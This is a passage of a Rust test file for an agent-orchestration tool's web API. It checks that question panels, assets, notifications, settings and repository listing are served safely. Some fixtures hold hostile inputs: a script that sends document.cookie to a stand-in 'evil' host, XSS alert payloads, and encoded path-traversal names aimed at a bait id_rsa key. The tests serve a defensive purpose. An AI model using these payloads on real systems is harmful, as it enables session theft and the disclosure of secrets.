8314 Some("no-referrer"),
8315 "{path}: a panel must not leak the question id off the machine"
8316 );
8317
8318 let pre = fx.head(&path).await;
8323 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8324 assert_eq!(
8325 pre.header("content-security-policy"),
8326 res.header("content-security-policy"),
8327 "{path}: the preflight carries the same policy"
8328 );
8329 assert_eq!(
8330 pre.header("content-type"),
8331 res.header("content-type"),
8332 "{path}: the preflight carries the same type"
8333 );
8334 }
8335 }
8336
8337 #[tokio::test]
8338 async fn a_panel_reaches_the_browser_byte_for_byte() {
8339 let fx = Fixture::start().await;
8340 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8345 let id = panel(&fx, html, &[]);
8346
8347 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8348
8349 assert_eq!(res.status, 200);
8350 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8351 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8352 assert_eq!(
8353 res.header("content-disposition"),
8354 None,
8355 "the panel itself is rendered in the frame, not downloaded"
8356 );
8357 }
8358
8359 #[tokio::test]
8360 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8361 let fx = Fixture::start().await;
8362 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8363 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8364 let id = panel(
8365 &fx,
8366 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8367 &[("diff.svg", svg), ("shot.png", png)],
8368 );
8369
8370 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8371 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8372
8373 assert_eq!(as_svg.status, 200);
8374 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8375 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8380
8381 assert_eq!(as_png.status, 200);
8382 assert_eq!(as_png.header("content-type"), Some("image/png"));
8383 assert_eq!(
8384 as_png.header("content-disposition"),
8385 None,
8386 "a raster image has no execution surface, so tapping it still shows it"
8387 );
8388 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8389 }
8390
8391 #[tokio::test]
8392 async fn an_html_asset_is_never_served_as_html() {
8393 let fx = Fixture::start().await;
8394 let id = panel(
8395 &fx,
8396 "<p>see the notes</p>",
8397 &[
8398 (
8399 "notes.html",
8400 b"<script>fetch('http://evil/'+document.cookie)</script>",
8401 ),
8402 ("hook.js", b"fetch('http://evil/')"),
8403 ("data.json", b"{}"),
8404 ("HEADLINE.TXT", b"plain"),
8405 ],
8406 );
8407
8408 for name in ["notes.html", "hook.js", "data.json"] {
8409 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8410 assert_eq!(res.status, 200, "{name}: {}", res.body);
8411 assert_eq!(
8416 res.header("content-type"),
8417 Some("application/octet-stream"),
8418 "{name} must not be a type the browser will execute or render"
8419 );
8420 }
8421 let txt = fx
8424 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8425 .await;
8426 assert_eq!(
8427 txt.header("content-type"),
8428 Some("text/plain; charset=utf-8")
8429 );
8430 }
8431
8432 #[tokio::test]
8433 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8434 let fx = Fixture::start().await;
8435 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8436 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8440
8441 for encoded in [
8448 "%2e%2e%2fid_rsa",
8449 "..%2fid_rsa",
8450 "..%5cid_rsa",
8451 "%2e%2e%5cid_rsa",
8452 "diff%00.svg",
8453 "..",
8454 ".hidden",
8455 "%2e%2e%2f%2e%2e%2fid_rsa",
8456 ] {
8457 let res = fx
8458 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8459 .await;
8460 assert_eq!(
8461 res.status, 400,
8462 "`{encoded}` has to be refused by name, not looked up: {}",
8463 res.body
8464 );
8465 assert!(res.json()["error"].is_string(), "{}", res.body);
8466 }
8467
8468 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8474 let res = fx
8475 .get(&format!("/api/questions/{id}/asset/{literal}"))
8476 .await;
8477 assert_eq!(
8478 res.status, 404,
8479 "`{literal}` must not match the asset route at all: {}",
8480 res.body
8481 );
8482 }
8483 }
8484
8485 #[tokio::test]
8486 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8487 let fx = Fixture::start().await;
8488 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8489 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8490
8491 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8495 assert_eq!(none.status, 404, "{}", none.body);
8496 assert!(none.json()["error"].is_string(), "{}", none.body);
8497 assert_eq!(
8498 fx.head(&format!("/api/questions/{plain}/panel"))
8499 .await
8500 .status,
8501 404,
8502 "the preflight is the only way the client can learn this"
8503 );
8504
8505 let missing = fx
8507 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8508 .await;
8509 assert_eq!(missing.status, 404, "{}", missing.body);
8510 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8511
8512 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8514 assert_eq!(
8515 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8516 404
8517 );
8518 }
8519
8520 #[tokio::test]
8521 async fn a_run_with_an_open_question_reads_as_waiting() {
8522 let fx = Fixture::start().await;
8523 let run = "20260902-000000-beef".to_owned();
8524 write_run(&fx.runs(), &run, RunStatus::Implementing);
8525
8526 let before = fx.get("/api/runs").await.json();
8527 assert_eq!(before[0]["waiting"], false, "{before}");
8528
8529 let store = fx.questions();
8530 let mut q = Question::new(
8531 run.clone(),
8532 "implement".to_owned(),
8533 "impl-A".to_owned(),
8534 "Which backend?".to_owned(),
8535 String::new(),
8536 vec!["SQLite".to_owned()],
8537 );
8538 store.put(&mut q).expect("put");
8539
8540 let during = fx.get("/api/runs").await.json();
8541 assert_eq!(during[0]["waiting"], true, "{during}");
8542
8543 q.answer(Answer::Choice("SQLite".to_owned()))
8546 .expect("answer");
8547 store.put(&mut q).expect("put");
8548 let after = fx.get("/api/runs").await.json();
8549 assert_eq!(after[0]["waiting"], false, "{after}");
8550 }
8551
8552 #[tokio::test]
8553 async fn an_open_question_is_listed_and_counted_by_health() {
8554 let fx = Fixture::start().await;
8555 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8556
8557 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8558 let listed = fx.get("/api/questions").await.json();
8559 assert_eq!(listed.as_array().expect("array").len(), 1);
8560 assert_eq!(listed[0]["id"], id);
8561 assert_eq!(listed[0]["status"], "open");
8562 assert_eq!(listed[0]["choices"][1], "Redis");
8563 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8566 }
8567
8568 #[tokio::test]
8569 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8570 let fx = Fixture::start().await;
8571 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8572 let path = format!("/api/questions/{id}/answer");
8573
8574 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8575 assert_eq!(res.status, 200, "{}", res.body);
8576 let body = res.json();
8577 assert_eq!(body["status"], "answered");
8578 assert_eq!(body["answer"]["choice"], "Redis");
8579
8580 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8584 assert_eq!(again.status, 409, "{}", again.body);
8585 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8586 }
8587
8588 #[tokio::test]
8589 async fn saying_something_appends_a_turn_without_answering() {
8590 let fx = Fixture::start().await;
8591 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8592 let path = format!("/api/questions/{id}/say");
8593
8594 let res = fx
8595 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8596 .await;
8597 assert_eq!(res.status, 200, "{}", res.body);
8598 let body = res.json();
8599 assert_eq!(body["status"], "open", "talking back is not a decision");
8600 assert_eq!(body["answer"], Value::Null);
8601 assert_eq!(body["thread"][0]["who"], "operator");
8602 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8603 assert_eq!(body["waiting_on_agent"], true);
8604 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8606 }
8607
8608 #[tokio::test]
8609 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8610 let fx = Fixture::start().await;
8611 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8612
8613 let list = fx.get("/api/questions").await.json();
8614 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8615
8616 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8617 assert_eq!(res.status, 409, "{}", res.body);
8618 let q = fx.questions().get(&id).unwrap();
8619 assert!(q.status.open());
8620 assert!(q.consult.is_none());
8621 }
8622
8623 #[tokio::test]
8624 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8625 let fx = Fixture::start().await;
8626 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8627 let cfg = Config {
8628 agents: vec![crate::config::AgentSpec {
8629 id: "mock".to_owned(),
8630 kind: crate::config::AgentKind::Command,
8631 model: None,
8632 command: vec!["true".to_owned()],
8633 extra_args: Vec::new(),
8634 env: Default::default(),
8635 prompt_delivery: None,
8636 }],
8637 ..Config::default()
8638 };
8639 let talk = crate::talk::begin(
8640 &fx.talks(),
8641 &cfg,
8642 fx.home.path().to_path_buf(),
8643 Some("mock"),
8644 )
8645 .unwrap();
8646 let mut task = Task::new(
8647 "t".to_owned(),
8648 "Do it".to_owned(),
8649 PathBuf::from("/repo/magi"),
8650 Source::Agent {
8651 run: talk.id.clone(),
8652 node: crate::queue::CHAT_NODE.to_owned(),
8653 },
8654 );
8655 task.start("20260902-000000-beef".to_owned());
8656 fx.queue().put(&mut task).unwrap();
8657
8658 let list = fx.get("/api/questions").await.json();
8659 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8660 assert_eq!(
8661 list[0]["choices"],
8662 serde_json::json!(["SQLite", "Redis"]),
8663 "the hand-over is never a choice"
8664 );
8665 fx.questions()
8666 .update(&id, |q| {
8667 q.node = crate::land::APPROVAL_NODE.into();
8668 q.choices = vec!["merge".into(), "hold".into()];
8669 Ok(())
8670 })
8671 .unwrap();
8672 let list = fx.get("/api/questions").await.json();
8673 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8674 let _ = id;
8675 }
8676
8677 #[tokio::test]
8678 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8679 let fx = Fixture::start().await;
8680 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8681 fx.questions()
8682 .update(&id, |q| {
8683 q.node = crate::land::APPROVAL_NODE.into();
8684 q.choices = vec!["merge".into(), "hold".into()];
8685 Ok(())
8686 })
8687 .unwrap();
8688 let cfg = Config {
8689 agents: vec![crate::config::AgentSpec {
8690 id: "mock".to_owned(),
8691 kind: crate::config::AgentKind::Command,
8692 model: None,
8693 command: vec!["true".to_owned()],
8694 extra_args: Vec::new(),
8695 env: Default::default(),
8696 prompt_delivery: None,
8697 }],
8698 ..Config::default()
8699 };
8700 let repo = fx.home.path().join("chat-repo");
8702 std::fs::create_dir_all(&repo).unwrap();
8703 let toml = repo.join("magi.toml");
8704 std::fs::write(&toml, "this is = = not toml").unwrap();
8705 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8706 let mut task = Task::new(
8707 "t".to_owned(),
8708 "Do it".to_owned(),
8709 PathBuf::from("/repo/magi"),
8710 Source::Agent {
8711 run: talk.id.clone(),
8712 node: crate::queue::CHAT_NODE.to_owned(),
8713 },
8714 );
8715 task.start("20260902-000000-beef".to_owned());
8716 fx.queue().put(&mut task).unwrap();
8717
8718 let path = format!("/api/questions/{id}/consult");
8719 let res = fx.post(&path, None).await;
8720 assert!(res.status >= 400, "{}", res.body);
8721 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8722 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8723
8724 std::fs::write(&toml, "").unwrap();
8725 let res = fx.post(&path, None).await;
8726 assert_eq!(res.status, 202, "{}", res.body);
8727 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8728 let q = fx.questions().get(&id).unwrap();
8729 assert!(q.status.open());
8730 assert!(q.answer.is_none());
8731 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8732 }
8733
8734 #[tokio::test]
8735 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8736 let fx = Fixture::start().await;
8737 let store = fx.questions();
8738 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8739 assert_eq!(
8740 fx.get("/api/health").await.json()["questions_needs_owner"],
8741 1
8742 );
8743
8744 let res = fx
8750 .post(
8751 &format!("/api/questions/{id}/say"),
8752 Some(r#"{"body":"why not Postgres?"}"#),
8753 )
8754 .await;
8755 assert_eq!(res.status, 200, "{}", res.body);
8756 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8757 assert_eq!(
8758 fx.get("/api/health").await.json()["questions_needs_owner"],
8759 0,
8760 "waiting on the agent is not waiting on the owner"
8761 );
8762
8763 let mut q = store.get(&id).expect("get");
8767 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8768 .expect("reply");
8769 store.put(&mut q).expect("put");
8770 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8771 assert_eq!(
8772 fx.get("/api/health").await.json()["questions_needs_owner"],
8773 1,
8774 "the agent's reply is what should light the banner back up"
8775 );
8776 }
8777
8778 #[tokio::test]
8779 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8780 let fx = Fixture::start().await;
8781 let store = fx.questions();
8782
8783 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8784 let res = fx
8785 .post(
8786 &format!("/api/questions/{empty_id}/say"),
8787 Some(r#"{"body":" "}"#),
8788 )
8789 .await;
8790 assert_eq!(res.status, 400, "{}", res.body);
8791
8792 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8793 let mut answered = store.get(&answered_id).expect("get");
8794 answered
8795 .answer(Answer::Choice("SQLite".to_owned()))
8796 .expect("answer");
8797 store.put(&mut answered).expect("put");
8798 let res = fx
8799 .post(
8800 &format!("/api/questions/{answered_id}/say"),
8801 Some(r#"{"body":"still there?"}"#),
8802 )
8803 .await;
8804 assert_eq!(res.status, 409, "{}", res.body);
8805
8806 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8807 let mut abandoned = store.get(&abandoned_id).expect("get");
8808 abandoned.abandon("timed out");
8809 store.put(&mut abandoned).expect("put");
8810 let res = fx
8811 .post(
8812 &format!("/api/questions/{abandoned_id}/say"),
8813 Some(r#"{"body":"still there?"}"#),
8814 )
8815 .await;
8816 assert_eq!(res.status, 409, "{}", res.body);
8817 }
8818
8819 #[tokio::test]
8820 async fn an_answer_the_question_does_not_offer_is_refused() {
8821 let fx = Fixture::start().await;
8822 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8823 let path = format!("/api/questions/{id}/answer");
8824
8825 for body in [
8826 r#"{"choice":"Postgres"}"#,
8827 r#"{"text":"whatever you think"}"#,
8828 r#"{"choice":"Redis","text":"both"}"#,
8829 r#"{}"#,
8830 ] {
8831 let res = fx.post(&path, Some(body)).await;
8832 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8833 assert!(res.json()["error"].is_string(), "{}", res.body);
8834 }
8835 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8837 }
8838
8839 #[tokio::test]
8840 async fn a_free_text_question_takes_text_and_not_a_choice() {
8841 let fx = Fixture::start().await;
8842 let id = ask(&fx, "What should the flag be called?", &[]);
8843 let path = format!("/api/questions/{id}/answer");
8844
8845 assert_eq!(
8846 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8847 400
8848 );
8849 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8850 assert_eq!(res.status, 200, "{}", res.body);
8851 assert_eq!(res.json()["answer"]["text"], "--json");
8852 }
8853
8854 #[tokio::test]
8855 async fn an_unknown_question_is_a_json_404() {
8856 let fx = Fixture::start().await;
8857 let res = fx
8858 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8859 .await;
8860 assert_eq!(res.status, 404, "{}", res.body);
8861 assert!(res.json()["error"].is_string());
8862 }
8863
8864 #[tokio::test]
8865 async fn notifications_list_read_dismiss_and_health_agree() {
8866 let fx = Fixture::start().await;
8867 let store = Notices::at(fx.home.path().join("notifications"));
8868 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8869 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8870
8871 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8872 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8873
8874 let health = fx.get("/api/health").await.json();
8875 assert_eq!(health["notifications_unread"], 2);
8876 assert_ne!(
8877 health["notifications_rev"], rev0,
8878 "the badge must move live"
8879 );
8880
8881 let listed = fx.get("/api/notifications").await.json();
8882 assert_eq!(listed["unread"], 2);
8883 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8884 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8885
8886 let read = fx
8887 .post(&format!("/api/notifications/{}/read", a.id), None)
8888 .await;
8889 assert_eq!(read.status, 200, "{}", read.body);
8890 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8891
8892 let gone = fx
8893 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8894 .await;
8895 assert_eq!(gone.status, 200, "{}", gone.body);
8896 let listed = fx.get("/api/notifications").await.json();
8897 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8898 assert_eq!(listed["unread"], 0);
8899
8900 store.raise(Notice::info("x", "again")).unwrap();
8901 let all = fx.post("/api/notifications/read-all", None).await;
8902 assert_eq!(all.status, 200, "{}", all.body);
8903 assert_eq!(all.json()["marked"], 1);
8904 assert_eq!(
8905 fx.get("/api/health").await.json()["notifications_unread"],
8906 0
8907 );
8908
8909 let missing = fx.post("/api/notifications/nope/read", None).await;
8910 assert_eq!(missing.status, 404, "{}", missing.body);
8911 assert!(missing.json()["error"].is_string());
8912 }
8913
8914 #[tokio::test]
8921 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8922 let f = Fixture::start().await;
8923
8924 let res = f
8925 .post(
8926 "/api/queue",
8927 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8928 )
8929 .await;
8930
8931 assert_eq!(
8932 res.status, 405,
8933 "POST /api/queue must not be a route: {}",
8934 res.body
8935 );
8936 assert!(
8937 f.queue().list().is_empty(),
8938 "a task filed by a route that does not exist must not reach the disk"
8939 );
8940 assert_eq!(f.get("/api/queue").await.status, 200);
8943 }
8944
8945 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8947 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8948 .expect("checkout dir");
8949 }
8950
8951 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8953
8954 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8955 let tmp = TempDir::new().expect("tempdir");
8956 let repo = tmp.path().join("repo");
8957 std::fs::create_dir_all(&repo).expect("repo dir");
8958 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8959 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8960 if let Some(text) = machine_toml {
8961 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8962 std::fs::write(&machine, text).expect("machine toml");
8963 }
8964 (tmp, repo, machine)
8965 }
8966
8967 #[tokio::test]
8968 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8969 let (_tmp, repo, machine) =
8970 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8971 let f = Fixture::with_repo_and_machine(repo, machine).await;
8972 let res = f.get("/api/settings").await;
8973 assert_eq!(res.status, 200, "{}", res.body);
8974 let v = res.json();
8975 assert!(v["error"].is_null(), "{v}");
8976 let role = |k: &str| {
8977 v["roles"]
8978 .as_array()
8979 .and_then(|r| r.iter().find(|x| x["key"] == k))
8980 .cloned()
8981 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8982 };
8983 assert_eq!(role("judges")["source"], "machine");
8984 assert_eq!(role("judges")["editable"], true);
8985 assert_eq!(role("implementers")["source"], "default");
8986 let adv = role("advisors");
8987 assert_eq!(adv["fallback"], "judges");
8988 assert!(
8989 adv["seats"]
8990 .as_array()
8991 .is_some_and(|s| s.iter().all(|x| x == "b")),
8992 "{adv}"
8993 );
8994 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8995 assert_eq!(v["agents"][0]["source"], "repo");
8996 }
8997
8998 #[tokio::test]
8999 async fn settings_get_reports_a_config_that_does_not_parse() {
9000 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9001 let f = Fixture::with_repo_and_machine(repo, machine).await;
9002 let res = f.get("/api/settings").await;
9003 assert_eq!(res.status, 200, "{}", res.body);
9004 let v = res.json();
9005 assert!(v["error"]["message"].is_string(), "{v}");
9006 assert!(
9007 v["error"]["path"]
9008 .as_str()
9009 .is_some_and(|p| p.ends_with("magi.toml")),
9010 "{v}"
9011 );
9012 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9013 }
9014
9015 #[tokio::test]
9016 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9017 let (_tmp, repo, machine) = settings_dirs(
9018 SETTINGS_AGENTS,
9019 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9020 );
9021 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9022 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9023 let rev = f.get("/api/settings").await.json()["revision"]
9024 .as_str()
9025 .expect("revision")
9026 .to_owned();
9027 let body = serde_json::json!({
9028 "revision": rev,
9029 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9030 })
9031 .to_string();
9032 let res = f.put("/api/settings/roles", &body).await;
9033 assert_eq!(res.status, 200, "{}", res.body);
9034 let text = std::fs::read_to_string(&machine).expect("machine");
9035 assert_eq!(
9036 text,
9037 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9038 );
9039 assert_eq!(
9040 std::fs::read(repo.join("magi.toml")).expect("read"),
9041 repo_before
9042 );
9043 let again = f.get("/api/settings").await.json();
9044 let judges = again["roles"]
9045 .as_array()
9046 .expect("roles")
9047 .iter()
9048 .find(|r| r["key"] == "judges")
9049 .expect("judges")
9050 .clone();
9051 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9052 let stale = f.put("/api/settings/roles", &body).await;
9054 assert_eq!(stale.status, 409, "{}", stale.body);
9055 }
9056
9057 #[tokio::test]
9058 async fn settings_counts_are_reported_and_saved() {
9059 let (_tmp, repo, machine) = settings_dirs(
9060 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9061 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9062 );
9063 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9064 let v = f.get("/api/settings").await.json();
9065 let count = |v: &serde_json::Value, k: &str| {
9066 v["roles"]
9067 .as_array()
9068 .and_then(|r| r.iter().find(|x| x["key"] == k))
9069 .map(|x| x["count"].clone())
9070 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9071 };
9072 let imp = count(&v, "implementers");
9073 assert_eq!(imp["value"], 2);
9074 assert_eq!(imp["source"], "machine");
9075 assert_eq!(imp["file_key"], "candidates");
9076 assert_eq!(imp["roster_len"], 2);
9077 assert_eq!(imp["backups"], 0);
9078 assert_eq!(count(&v, "judges")["source"], "default");
9079 assert_eq!(count(&v, "advisors")["min"], 0);
9080 assert_eq!(count(&v, "reviewers")["editable"], false);
9081 assert!(
9082 count(&v, "reviewers")["locked_reason"]
9083 .as_str()
9084 .is_some_and(|m| m.contains("graph.reviewers"))
9085 );
9086 assert!(count(&v, "fixer").is_null());
9087 let rev = v["revision"].as_str().expect("revision").to_owned();
9088 let body = serde_json::json!({
9089 "revision": rev,
9090 "roles": { "judges": ["b"] },
9091 "counts": { "implementers": 1, "advisors": 0 }
9092 })
9093 .to_string();
9094 let res = f.put("/api/settings/roles", &body).await;
9095 assert_eq!(res.status, 200, "{}", res.body);
9096 let text = std::fs::read_to_string(&machine).expect("machine");
9097 assert_eq!(
9098 text,
9099 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9100 );
9101 let after = f.get("/api/settings").await.json();
9102 assert_eq!(count(&after, "implementers")["value"], 1);
9103 assert_eq!(count(&after, "implementers")["backups"], 1);
9104 assert_eq!(count(&after, "advisors")["value"], 0);
9105 let before = std::fs::read_to_string(&machine).expect("machine");
9106 let rev = after["revision"].as_str().expect("revision").to_owned();
9107 for counts in [
9108 serde_json::json!({ "judges": 0 }),
9109 serde_json::json!({ "judges": "x" }),
9110 serde_json::json!({ "judges": 2.5 }),
9111 serde_json::json!({ "judges": -1 }),
9112 serde_json::json!({ "reviewers": 3 }),
9113 serde_json::json!({ "bogus": 3 }),
9114 ] {
9115 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9116 let res = f.put("/api/settings/roles", &body).await;
9117 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9118 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9119 }
9120 }
9121
9122 #[tokio::test]
9123 async fn settings_put_refuses_without_touching_the_file() {
9124 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9125 let (_tmp, repo, machine) = settings_dirs(
9126 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9127 Some(machine_text),
9128 );
9129 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9130 let rev = f.get("/api/settings").await.json()["revision"]
9131 .as_str()
9132 .expect("revision")
9133 .to_owned();
9134 for roles in [
9135 serde_json::json!({ "judges": ["nope"] }),
9136 serde_json::json!({ "reviewers": ["b"] }),
9137 serde_json::json!({ "bogus": ["a"] }),
9138 ] {
9139 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9140 let res = f.put("/api/settings/roles", &body).await;
9141 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9142 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9143 assert_eq!(
9144 std::fs::read_to_string(&machine).expect("machine"),
9145 machine_text
9146 );
9147 }
9148 }
9149
9150 #[tokio::test]
9151 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9152 let tmp = TempDir::new().expect("tempdir");
9153 let repo = tmp.path().join("repo");
9154 std::fs::create_dir_all(&repo).expect("repo dir");
9155 let root = tmp.path().join("root");
9156 make_checkout(&root, "github.com", "yukimemi", "magi");
9157 std::fs::write(
9158 repo.join("magi.toml"),
9159 format!(
9160 "[repos]\nroots = [{:?}]\n",
9161 root.to_string_lossy().into_owned()
9162 ),
9163 )
9164 .expect("write magi.toml");
9165
9166 let f = Fixture::with_repo(repo).await;
9167 let res = f.get("/api/repos").await;
9168 assert_eq!(res.status, 200, "{}", res.body);
9169 let list = res.json();
9170 let repos = list.as_array().expect("an array");
9171 assert_eq!(repos.len(), 1);
9172 assert_eq!(repos[0]["name"], "yukimemi/magi");
9173 assert!(
9174 repos[0]["path"]
9175 .as_str()
9176 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9177 "{list}"
9178 );
9179 }
9180
9181 #[tokio::test]
9182 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9183 let tmp = TempDir::new().expect("tempdir");
9184 let repo = tmp.path().join("repo");
9185 std::fs::create_dir_all(&repo).expect("repo dir");
9186 let root = tmp.path().join("root");
9187 make_checkout(&root, "github.com", "yukimemi", "magi");
9188 std::fs::write(
9189 repo.join("magi.toml"),
9190 format!(
9191 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9192 root.to_string_lossy().into_owned()
9193 ),
9194 )
9195 .expect("write magi.toml");
9196
9197 let f = Fixture::with_repo(repo).await;
9198 let first = f.get("/api/repos").await;
9199 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9200
9201 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9204 let second = f.get("/api/repos").await;
9205 assert_eq!(
9206 second.json().as_array().map(Vec::len),
9207 Some(1),
9208 "a fresh cache must not rescan inside the TTL"
9209 );
9210
9211 let refreshed = f.get("/api/repos?refresh=1").await;
9212 assert_eq!(
9213 refreshed.json().as_array().map(Vec::len),
9214 Some(2),
9215 "an explicit refresh must rescan even inside the TTL"
9216 );
9217 }
9218
9219 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9225
9226 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9230 let tmp = TempDir::new().expect("tempdir");
9231 let repo = tmp.path().join("repo");
9232 std::fs::create_dir_all(&repo).expect("repo dir");
